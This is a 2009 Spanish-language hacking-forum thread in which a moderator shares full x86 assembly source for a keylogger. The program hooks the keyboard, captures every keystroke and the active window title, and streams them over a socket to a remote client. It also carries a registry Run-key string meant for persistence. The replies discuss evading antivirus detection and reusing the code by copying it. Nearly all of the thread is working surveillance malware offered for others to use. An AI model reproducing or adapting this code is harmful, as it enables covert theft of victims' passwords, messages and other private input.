elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
14 Febrero 2012, 08:36  


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Análisis y Diseño de Malware (Moderadores: Karcrack, [Zero])
| | |-+  [SRC][ASM] Base Server Keylogger
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [SRC][ASM] Base Server Keylogger  (Leído 2,400 veces)
[Zero]
Moderador
***
Desconectado Desconectado

Mensajes: 1.050


CALL DWORD PTR DS:[0]


Ver Perfil WWW
[SRC][ASM] Base Server Keylogger
« en: 27 Julio 2009, 20:50 »

Bueno, haciendo limpieza encontré éste código viejo que había hecho hace mucho tiempo, creo que está sin terminar, o algún fallo tiene porque tiene algunas líneas comentadas, pero no estoy con humor para mirarlo así que a quien le interese lo puede mirar  :P. Creo que capturaba todas las teclas (letras, numeros, simbolos, mayusculas) y los envaiba por socket o si no lo encontraba guardaba el log en disco.

Código
include 'C:\fasm\include\win32ax.inc'
.data
IP db '127.0.0.1',0
nArch db '\Logdrive.dll',0
nFile db '\Regdrive.exe',0
WinPath dd ?
Espacio db '\n',0
saltolinea db 13,10,0
hVentana dd ?
Rev  dd ?
ThreadID dd ?
hHook dd ?
hSock dd ?
hArch dd ?
hKey dd ?
MyPath dd ?
ifSock dd 0
fSize dd ?
dLeidos dd ?
Buffer dd ?
regdisposition dd ?
regSubKey db "SOFTWARE\Microsoft\Windows\CurrentVersion\Run",0
.code
start:
 
;Creamos un nuevo hilo para el Hook
invoke CreateThread,0,4096,Hookear,0,0,[ThreadID]
 
;Damos tamaño a los registros
invoke GlobalAlloc,GPTR,1024h
push eax eax eax
pop esi ebx edx
 
;Conexion
invoke WSAStartup,200,eax
invoke socket,AF_INET,SOCK_STREAM,0
push eax
pop [hSock] ;Esi Contiene el Handle de socket
 
mov word[ebx],2
invoke htons,2000
mov word[ebx],2
mov word[ebx+2], AX
invoke gethostbyname,IP
add eax,32
invoke inet_addr,eax
mov dword[ebx+4],eax
 
.BucleConectar:
 invoke connect,[hSock],ebx,16
       cmp eax, 0xFFFFFFFF
        JE .BucleConectar
     .BucleRecivir:
     invoke GlobalAlloc,GPTR,1024h
push eax
      invoke recv,[hSock],eax,1023h,0
   mov [Rev],eax
   pop eax
   cmp [Rev],0
   jng revisar
 
  .if dword[eax] = '$Go'
  mov [ifSock],1
  .endif
 
  .if dword[eax] = '$Sp'
  mov [ifSock],0
  .endif
 
revisar:
   cmp [Rev], 0
      jne start.BucleRecivir
 
       .reiniciar:
       stdcall dword[closesocket],[hSock]
       stdcall dword[WSACleanup]
       jmp start
.end start
 
;Lanzamos el Hook desde un nuevo hilo
proc Hookear
xor ebx,ebx
invoke GetModuleHandleA,ebx
invoke SetWindowsHookExA,13,KeyboardHook,eax,ebx
mov [hHook],eax
invoke GetMessageA,ebx,ebx,ebx,ebx
invoke UnhookWindowsHookEx,[hHook]
endp
 
;Proc del Hook donde se detectará la tecla pulsada
proc KeyboardHook,nCode,wParam,lParam
mov eax,[wParam]
cmp eax,WM_KEYDOWN
jne siguienteHook
 
mov eax,[lParam]
cmp byte[eax],VK_CAPITAL
je siguienteHook
cmp byte[eax],VK_LSHIFT
je siguienteHook
cmp byte[eax],VK_RSHIFT
je siguienteHook
 
.if byte[eax]=VK_RETURN
stdcall EnviarDatos,Espacio
jmp siguienteHook
.endif
 
.if byte[eax]=VK_BACK
stdcall ProcesarTecla,"{BACK}"
jmp siguienteHook
.endif
 
.if byte[eax]=VK_ESCAPE
stdcall ProcesarTecla,"{ESC}"
jmp siguienteHook
.endif
 
.if byte[eax]=VK_TAB
stdcall ProcesarTecla,"{TAB}"
jmp siguienteHook
.endif
.if byte[eax]=VK_LCONTROL
stdcall ProcesarTecla,"{CTRL}"
jmp siguienteHook
.endif
.if byte[eax]=VK_RCONTROL
stdcall ProcesarTecla,"{CTRL}"
jmp siguienteHook
.endif
.if byte[eax]=VK_RMENU
stdcall ProcesarTecla,"{ALT}"
jmp siguienteHook
.endif
.if byte[eax]=VK_LMENU
stdcall ProcesarTecla,"{ALT}"
jmp siguienteHook
.endif
.if byte[eax]=VK_SPACE
stdcall ProcesarTecla," "
jmp siguienteHook
.endif
.if byte[eax]=VK_DELETE
stdcall ProcesarTecla,"{DEL}"
jmp siguienteHook
.endif
.if byte[eax]=VK_RWIN
stdcall ProcesarTecla,"{WIN}"
jmp siguienteHook
.endif
.if byte[eax]=VK_LWIN
stdcall ProcesarTecla,"{WIN}"
jmp siguienteHook
.endif
 
.if byte[eax]=VK_F1
stdcall ProcesarTecla,"{F1}"
jmp siguienteHook
.endif
.if byte[eax]=VK_F2
stdcall ProcesarTecla,"{F2}"
jmp siguienteHook
.endif
.if byte[eax]=VK_F3
stdcall ProcesarTecla,"{F3}"
jmp siguienteHook
.endif
.if byte[eax]=VK_F4
stdcall ProcesarTecla,"{F4}"
jmp siguienteHook
.endif
.if byte[eax]=VK_F5
stdcall ProcesarTecla,"{F5}"
jmp siguienteHook
.endif
.if byte[eax]=VK_F6
stdcall ProcesarTecla,"{F6}"
jmp siguienteHook
.endif
.if byte[eax]=VK_F7
stdcall ProcesarTecla,"{F7}"
jmp siguienteHook
.endif
.if byte[eax]=VK_F8
stdcall ProcesarTecla,"{F8}"
jmp siguienteHook
.endif
.if byte[eax]=VK_F9
stdcall ProcesarTecla,"{F9}"
jmp siguienteHook
.endif
.if byte[eax]=VK_F10
stdcall ProcesarTecla,"{F10}"
jmp siguienteHook
.endif
.if byte[eax]=VK_F11
stdcall ProcesarTecla,"{F11}"
jmp siguienteHook
.endif
.if byte[eax]=VK_F12
stdcall ProcesarTecla,"{F12}"
jmp siguienteHook
.endif
 
.if byte[eax]=0xBA
stdcall isShift
cmp ecx,1
je NoBA
stdcall ProcesarTecla,"^"
jmp siguienteHook
NoBA:
stdcall ProcesarTecla,"`"
jmp siguienteHook
.endif
 
.if byte[eax]=0xBB
stdcall isShift
cmp ecx,1
je NoBB
stdcall ProcesarTecla,"*"
jmp siguienteHook
NoBB:
stdcall ProcesarTecla,"+"
jmp siguienteHook
.endif
 
.if byte[eax]=0xBC
stdcall isShift
cmp ecx,1
je NoBC
stdcall ProcesarTecla,";"
jmp siguienteHook
NoBC:
stdcall ProcesarTecla,","
jmp siguienteHook
.endif
 
.if byte[eax]=0xBD
stdcall isShift
cmp ecx,1
je NoBD
stdcall ProcesarTecla,"_"
jmp siguienteHook
NoBD:
stdcall ProcesarTecla,"-"
jmp siguienteHook
.endif
 
.if byte[eax]=0xBE
stdcall isShift
cmp ecx,1
je NoBE
stdcall ProcesarTecla,":"
jmp siguienteHook
NoBE:
stdcall ProcesarTecla,"."
jmp siguienteHook
.endif
 
.if byte[eax]=0xBF
stdcall isShift
cmp ecx,1
je NoBF
stdcall ProcesarTecla,"Ç"
jmp siguienteHook
NoBF:
stdcall ProcesarTecla,"ç"
jmp siguienteHook
.endif
 
.if byte[eax]=0xC0
stdcall isShift
cmp ecx,1
je NoC0
stdcall ProcesarTecla,"Ñ"
jmp siguienteHook
NoC0:
stdcall ProcesarTecla,"ñ"
jmp siguienteHook
.endif
 
.if byte[eax]=0xDB
stdcall isShift
cmp ecx,1
je NoDB
stdcall ProcesarTecla,"?"
jmp siguienteHook
NoDB:
stdcall ProcesarTecla,"'"
jmp siguienteHook
.endif
 
.if byte[eax]=0xDC
stdcall isShift
cmp ecx,1
je NoDC
stdcall ProcesarTecla,"ª"
jmp siguienteHook
NoDC:
stdcall ProcesarTecla,"º"
jmp siguienteHook
.endif
 
.if byte[eax]=0xDD
stdcall isShift
cmp ecx,1
je NoDD
stdcall ProcesarTecla,"¿"
jmp siguienteHook
NoDD:
stdcall ProcesarTecla,"¡"
jmp siguienteHook
.endif
 
.if byte[eax]=0xDE
stdcall isShift
cmp ecx,1
je NoDE
stdcall ProcesarTecla,"¨"
jmp siguienteHook
NoDE:
stdcall ProcesarTecla,"´"
jmp siguienteHook
.endif
 
.if byte[eax]=0x30
stdcall isShift
cmp ecx,1
je No0
stdcall ProcesarTecla,"="
jmp siguienteHook
No0:
stdcall ProcesarTecla,"0"
jmp siguienteHook
.endif
 
.if byte[eax]=0x31
stdcall isShift
cmp ecx,1
je No1
stdcall ProcesarTecla,"!"
jmp siguienteHook
No1:
stdcall ProcesarTecla,"1"
jmp siguienteHook
.endif
 
.if byte[eax]=0x32
stdcall isShift
cmp ecx,1
je No2
stdcall ProcesarTecla,'"'
jmp siguienteHook
No2:
stdcall ProcesarTecla,"2"
jmp siguienteHook
.endif
 
.if byte[eax]=0x33
stdcall isShift
cmp ecx,1
je No3
stdcall ProcesarTecla,"·"
jmp siguienteHook
No3:
stdcall ProcesarTecla,"3"
jmp siguienteHook
.endif
 
.if byte[eax]=0x34
stdcall isShift
cmp ecx,1
je No4
stdcall ProcesarTecla,"$"
jmp siguienteHook
No4:
stdcall ProcesarTecla,"4"
jmp siguienteHook
.endif
 
.if byte[eax]=0x35
stdcall isShift
cmp ecx,1
je No5
stdcall ProcesarTecla,"%"
jmp siguienteHook
No5:
stdcall ProcesarTecla,"5"
jmp siguienteHook
.endif
 
.if byte[eax]=0x36
stdcall isShift
cmp ecx,1
je No6
stdcall ProcesarTecla,"&"
jmp siguienteHook
No6:
stdcall ProcesarTecla,"6"
jmp siguienteHook
.endif
 
.if byte[eax]=0x37
stdcall isShift
cmp ecx,1
je No7
stdcall ProcesarTecla,"/"
jmp siguienteHook
No7:
stdcall ProcesarTecla,"7"
jmp siguienteHook
.endif
 
.if byte[eax]=0x38
stdcall isShift
cmp ecx,1
je No8
stdcall ProcesarTecla,"("
jmp siguienteHook
No8:
stdcall ProcesarTecla,"8"
jmp siguienteHook
.endif
 
.if byte[eax]=0x39
stdcall isShift
cmp ecx,1
je No9
stdcall ProcesarTecla,")"
jmp siguienteHook
No9:
stdcall ProcesarTecla,"9"
jmp siguienteHook
.endif
 
.if byte[eax]=VK_NUMPAD0
stdcall ProcesarTecla,"0"
jmp siguienteHook
.endif
.if byte[eax]=VK_NUMPAD1
stdcall ProcesarTecla,"1"
jmp siguienteHook
.endif
.if byte[eax]=VK_NUMPAD2
stdcall ProcesarTecla,"2"
jmp siguienteHook
.endif
.if byte[eax]=VK_NUMPAD3
stdcall ProcesarTecla,"3"
jmp siguienteHook
.endif
.if byte[eax]=VK_NUMPAD4
stdcall ProcesarTecla,"4"
jmp siguienteHook
.endif
.if byte[eax]=VK_NUMPAD5
stdcall ProcesarTecla,"5"
jmp siguienteHook
.endif
.if byte[eax]=VK_NUMPAD6
stdcall ProcesarTecla,"6"
jmp siguienteHook
.endif
.if byte[eax]=VK_NUMPAD7
stdcall ProcesarTecla,"7"
jmp siguienteHook
.endif
.if byte[eax]=VK_NUMPAD8
stdcall ProcesarTecla,"8"
jmp siguienteHook
.endif
 
cmp byte[eax],65 ;VK_A
jl siguienteHook
cmp byte[eax],90 ;VK_Z
jg siguienteHook
 
;Letras A-Z
stdcall isShift
cmp ecx,1
jne listo
mov eax,[lParam]
add byte[eax],32
listo:
stdcall ProcesarTecla,eax
 
siguienteHook:
invoke CallNextHookEx,[hHook],[nCode],[wParam],[lParam]
ret
endp
 
proc ProcesarTecla,tecla         ; Procesa la tecla capturada
;cmp [ifSock],1
;je sEnviar
 
;sGuardar:
;invoke GetWindowsDirectory,WinPath,1024
;invoke lstrcat,WinPath,nArch
 
;invoke CreateFile,WinPath,GENERIC_READ,0,0,OPEN_ALWAYS,0,0
;mov [hArch],eax
 
;invoke GetFileSize, [hArch],NULL
;mov [fSize],eax
;invoke LocalAlloc, LPTR,[fSize]
;mov [Buffer],eax
;invoke ReadFile,[hArch],[Buffer],[fSize],dLeidos,NULL
;invoke CloseHandle,[hArch]
 
;invoke lstrcat,[Buffer],[tecla]
 
;invoke CreateFile,WinPath,GENERIC_WRITE,0,0,CREATE_ALWAYS,0,0
;invoke lstrlen,[Buffer]
;invoke WriteFile,[hArch],[Buffer],eax,dLeidos,NULL
;invoke CloseHandle,[hArch]
;ret
 
sEnviar:
invoke GetForegroundWindow
cmp eax,[hVentana]
je enviartecla
 
mov [hVentana],eax
invoke GlobalAlloc,GPTR,256
push eax
invoke GetWindowText,[hVentana],eax,256
pop eax
mov ebx,eax
stdcall EnviarDatos,Espacio
stdcall EnviarDatos,Espacio
stdcall EnviarDatos,ebx
stdcall EnviarDatos,Espacio
enviartecla:
stdcall EnviarDatos,[tecla]
ret
endp
 
proc EnviarDatos,datos
invoke lstrlen,[datos]
invoke send,[hSock],[datos],eax,0
ret
endp
 
;Función para obtener el estado de las mayúsculas
proc isShift
invoke GetKeyState,VK_CAPITAL
cmp eax,1
jl pulsada
jmp nopulsada
 
pulsada:
invoke GetKeyState,VK_SHIFT
cmp eax,1
jg noShift
jmp siShift
 
nopulsada:
invoke GetKeyState,VK_SHIFT
cmp eax,1
jg siShift
jmp noShift
 
siShift:                 ; Retornamos 0 si está mayúscula, 1 si no
mov ecx,1
ret
 
noShift:
mov ecx,0
ret
endp      
 

Saludos  ;)
En línea


“El Hombre, en su orgullo, creó a Dios a su imagen y semejanza.”
Nietzsche
Jaixon Jax


Desconectado Desconectado

Mensajes: 856



Ver Perfil
Re: [SRC][ASM] Base Server Keylogger
« Respuesta #1 en: 28 Julio 2009, 00:38 »

 ;D

  Con 20 lineas en c++ se puede hacer todo ese rollo aunque este metodo es el mejor me quedo con mi vieja funcion jeje  :silbar:
En línea

Tricalogo del buen forista:
  1.- No postear en hilos de Politica, ni religion, ni feminismo ni Machismo .....
  2.- Nunca solicitar ayuda por MP a alguien del staf .... ellos nunca responden ....
  3.- Aplaudir todos los "aportes" del staf aunque no los entiendas, o creas que no tienen importancia eso es buena onda ....
[Zero]
Moderador
***
Desconectado Desconectado

Mensajes: 1.050


CALL DWORD PTR DS:[0]


Ver Perfil WWW
Re: [SRC][ASM] Base Server Keylogger
« Respuesta #2 en: 28 Julio 2009, 01:39 »

Supongo que te refieres a usar GetAnsiKeyState. Mejor con hooks, no se escapa nada y no está tan pillado por los av.

Lo de las líneas, la mayoría del código son comparaciones para sacar las teclas especiales, los numeros y eso, o la parte de conexión al cliente. Si te pones a borrar código una app que printee sólo las letras no ocupa casi nada tanto en código como en bytes (alrededor de 700 bytes  ;D). También tenía ese mismo código pero traducirdo a c (lo debí de perder porque ya no lo tengo) y pasaba lo mismo, la mayor parte del código era un switch para sacar las teclas especiales, la parte del hook no ocupa tato.

Saludos  ;)
En línea


“El Hombre, en su orgullo, creó a Dios a su imagen y semejanza.”
Nietzsche
Arkangel_0x7C5

Desconectado Desconectado

Mensajes: 289



Ver Perfil
Re: [SRC][ASM] Base Server Keylogger
« Respuesta #3 en: 28 Julio 2009, 03:20 »

deacuerdo con hacket_zero es mas eficiente con hook y siempre en un keyloguer lo mas largo es la parte de decodificar letras

Saludos
En línea

YST


Desconectado Desconectado

Mensajes: 963


I'm you


Ver Perfil WWW
Re: [SRC][ASM] Base Server Keylogger
« Respuesta #4 en: 28 Julio 2009, 06:10 »

Esta bueno el code aunque ya lo habia visto :P por cierto la conexión es mia :xD.
En línea



Yo le enseñe a Kayser a usar objetos en ASM
[Zero]
Moderador
***
Desconectado Desconectado

Mensajes: 1.050


CALL DWORD PTR DS:[0]


Ver Perfil WWW
Re: [SRC][ASM] Base Server Keylogger
« Respuesta #5 en: 28 Julio 2009, 12:54 »

Es cierto  :xD, yo no conseguía traducirla de c  :-[. Tambien me habías ayudado en alguna duda más  :P.

Saludos
En línea


“El Hombre, en su orgullo, creó a Dios a su imagen y semejanza.”
Nietzsche
Jaixon Jax


Desconectado Desconectado

Mensajes: 856



Ver Perfil
Re: [SRC][ASM] Base Server Keylogger
« Respuesta #6 en: 28 Julio 2009, 18:26 »

 :xD
 
Citar
Supongo que te refieres a usar GetAnsiKeyState. Mejor con hooks, no se escapa nada y no está tan pillado por los av.

   La funcion que utilizo no la detecta los AV  :xD
   
  Con lo que ha publicado Hacker_Zero se puede hacer algo bueno cortando y pegando.  :¬¬ Todavia no he tomado nada prestado de tus codigos pero si lo he estudiado bastante. Un buen escritor de programas solo publica el 40% de lo que sabe por lo que difiero que ya debes estar programando en modulos de kernell y esas cosas  :silbar:  Hay un codigo por alli de agregar secciones en un exe me parece interesante tal vez si documentaras mas ese codigo fuera mas fasil su compresion.  :rolleyes:

  Saludos...
En línea

Tricalogo del buen forista:
  1.- No postear en hilos de Politica, ni religion, ni feminismo ni Machismo .....
  2.- Nunca solicitar ayuda por MP a alguien del staf .... ellos nunca responden ....
  3.- Aplaudir todos los "aportes" del staf aunque no los entiendas, o creas que no tienen importancia eso es buena onda ....
[Zero]
Moderador
***
Desconectado Desconectado

Mensajes: 1.050


CALL DWORD PTR DS:[0]


Ver Perfil WWW
Re: [SRC][ASM] Base Server Keylogger
« Respuesta #7 en: 28 Julio 2009, 20:44 »

No, no programo drivers, nunca me puse a aprender a pesar del buen tutor que es Hendrix  :xD. No lo he aprendido porque en win vista ya es muy difícil poder cargar un driver y así será en los sistemas operativos que vienen, No place like usermode  :P.

Lo de mis códigos, cualquier duda puedes postearla o por mp y te la contesto, el de agregar secciones en concreto tienes que tenerte muy claro el Formato PE.

Saludos  ;)

PD: Suelo postear casi todo lo que creo, salvo cosas para mi y algunas funciones para el Virus Metamorph que esperaremos a sacar el programa definitivamente  :rolleyes:.
En línea


“El Hombre, en su orgullo, creó a Dios a su imagen y semejanza.”
Nietzsche
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines